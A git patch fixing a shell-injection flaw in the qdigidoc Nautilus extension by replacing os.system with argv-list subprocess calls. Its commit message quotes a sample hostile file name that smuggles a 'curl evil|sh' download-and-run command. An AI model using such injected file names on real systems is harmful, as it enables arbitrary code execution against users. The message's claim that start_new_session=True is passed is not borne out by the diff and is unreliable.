From 32e2f7bbdcd4ff10d5a3a8158afd1f2651796a0e Mon Sep 17 00:00:00 2001 From: npu Date: Wed, 13 May 2026 00:32:36 +0300 Subject: [PATCH] Fix shell injection in Nautilus extension MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The right-click "Sign digitally" / "Encrypt files" handlers passed the selected file paths into a shell command string via os.system: args += "\"%s\" " % path os.system("qdigidoc4 " + args + "&") Linux filenames may contain any byte except '/' and NUL, including '"', ';', '$', backticks and newlines. A file named e.g. x"; curl evil|sh; " sitting in any folder the user opens with Nautilus would, on right-click + menu activation, execute arbitrary commands as that user – no further prompts. The same pattern was duplicated in the crypto branch. Replace os.system with subprocess.Popen passing argv as a list, so the filename is delivered to qdigidoc4 directly via execvp() without a shell in between. start_new_session=True detaches the child from Nautilus, preserving the backgrounding behaviour previously emulated by the trailing '&'. The now-unused 'import os' is dropped. OffSeq Cybersecurity / Nils Putnins / npu@offseq.com https://offseq.com/ / https://radar.offseq.com --- extensions/nautilus/nautilus-qdigidoc.py | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-) diff --git a/extensions/nautilus/nautilus-qdigidoc.py b/extensions/nautilus/nautilus-qdigidoc.py index fb2bbf454..d58bb222c 100644 --- a/extensions/nautilus/nautilus-qdigidoc.py +++ b/extensions/nautilus/nautilus-qdigidoc.py @@ -17,7 +17,7 @@ # License along with this library; if not, write to the Free Software # Foundation, Inc, 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA # -import os +import subprocess import gettext import locale import gi @@ -37,11 +37,7 @@ def __init__(self): super().__init__() def menu_activate_cb(self, menu, paths): - args = "-sign " - for path in paths: - args += "\"%s\" " % path - cmd = ("qdigidoc4 " + args + "&") - os.system(cmd) + subprocess.Popen(["qdigidoc4", "-sign", *paths]) def valid_file(self, file): return file.get_file_type() == Gio.FileType.REGULAR and file.get_uri_scheme() == 'file' @@ -81,11 +77,7 @@ def __init__(self): super().__init__() def menu_activate_cb(self, menu, paths): - args = "-crypto " - for path in paths: - args += "\"%s\" " % path - cmd = ("qdigidoc4 " + args + "&") - os.system(cmd) + subprocess.Popen(["qdigidoc4", "-crypto", *paths]) def valid_file(self, file): return file.get_file_type() == Gio.FileType.REGULAR and file.get_uri_scheme() == 'file'